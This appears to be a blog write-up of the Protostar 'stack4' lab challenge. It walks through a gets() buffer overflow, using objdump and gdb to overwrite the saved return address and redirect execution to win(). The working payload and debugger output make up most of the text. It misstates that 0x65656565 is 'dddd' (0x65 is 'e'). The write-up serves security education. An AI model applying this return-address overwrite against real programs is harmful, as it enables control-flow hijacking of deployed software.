Protostar vm, stack4

Here is the source of the vulnerable program :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

This challenge as the same goal as the previous one : changing the program flow in order to call the win() function.
Only this time we have to make to program jump to it on its own.
In order to do that we have to overflow the %eip register (it contains the address of the next instruction).

So first, let’s get the address of the win() function :

1
2
user@protostar:/opt/protostar/bin$ objdump -d stack4 | grep win
080483f4 <win>:

Now we know the value to insert. Now we have to locate the %eip register in the stack. In order to do that, let’s overflow the buffer with 64 bytes, then we’ll insert distinctive 4 bytes patterns and we’ll look at the registers at run time with gdb.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
user@protostar:/opt/protostar/bin$ python -c 'print 64*"A"+4*"b"+4*"c"+4*"d"+4*"e"' 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbccccddddeeee
user@protostar:/opt/protostar/bin$ gdb -q stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) disass main
Dump of assembler code for function main:
0x08048408 <main+0>: push %ebp
0x08048409 <main+1>: mov %esp,%ebp
0x0804840b <main+3>: and $0xfffffff0,%esp
0x0804840e <main+6>: sub $0x50,%esp
0x08048411 <main+9>: lea 0x10(%esp),%eax
0x08048415 <main+13>: mov %eax,(%esp)
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
End of assembler dump.
(gdb) break main
Breakpoint 1 at 0x8048411: file stack4/stack4.c, line 15.

First I’m generating the payload cause I did not find a proper solution to execute python into gdb (not the best way).
then I put my first breakpoint in the main function in order to check the registers before I insert the payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
(gdb) r
Starting program: /opt/protostar/bin/stack4

Breakpoint 1, main (argc=1, argv=0xbffff814) at stack4/stack4.c:15
15 stack4/stack4.c: No such file or directory.
in stack4/stack4.c
(gdb)
(gdb) i r
eax 0xbffff814 -1073743852
ecx 0xa5f9d3f9 -1510353927
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff710 0xbffff710
ebp 0xbffff768 0xbffff768
esi 0x0 0
edi 0x0 0
eip 0x8048411 0x8048411 <main+9>
eflags 0x200282 [ SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbccccddddeeee

Program received signal SIGSEGV, Segmentation fault.
0x65656565 in ?? ()
(gdb) i r
eax 0xbffff720 -1073744096
ecx 0xbffff720 -1073744096
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff770 0xbffff770
ebp 0x64646464 0x64646464
esi 0x0 0
edi 0x0 0
eip 0x65656565 0x65656565
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)

Here I run the program and I check the registers at the first breakpoint we can see the content of %eip. I then plant the payload and obtain a sigsegv.
gdb is telling me that my next instruction address is not valid. A quick verification of the registers later, I know that %eip has been overflowed by 0x65656565 which translates to ‘dddd’.

I can now modify my payload and insert the right value instead of ‘dddd’ :

1
2
3
user@protostar:/opt/protostar/bin$ python -c 'print 64*"A"+4*"b"+4*"c"+4*"d"+"\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault

We successfully managed to change %eip in order to jump to the win() function.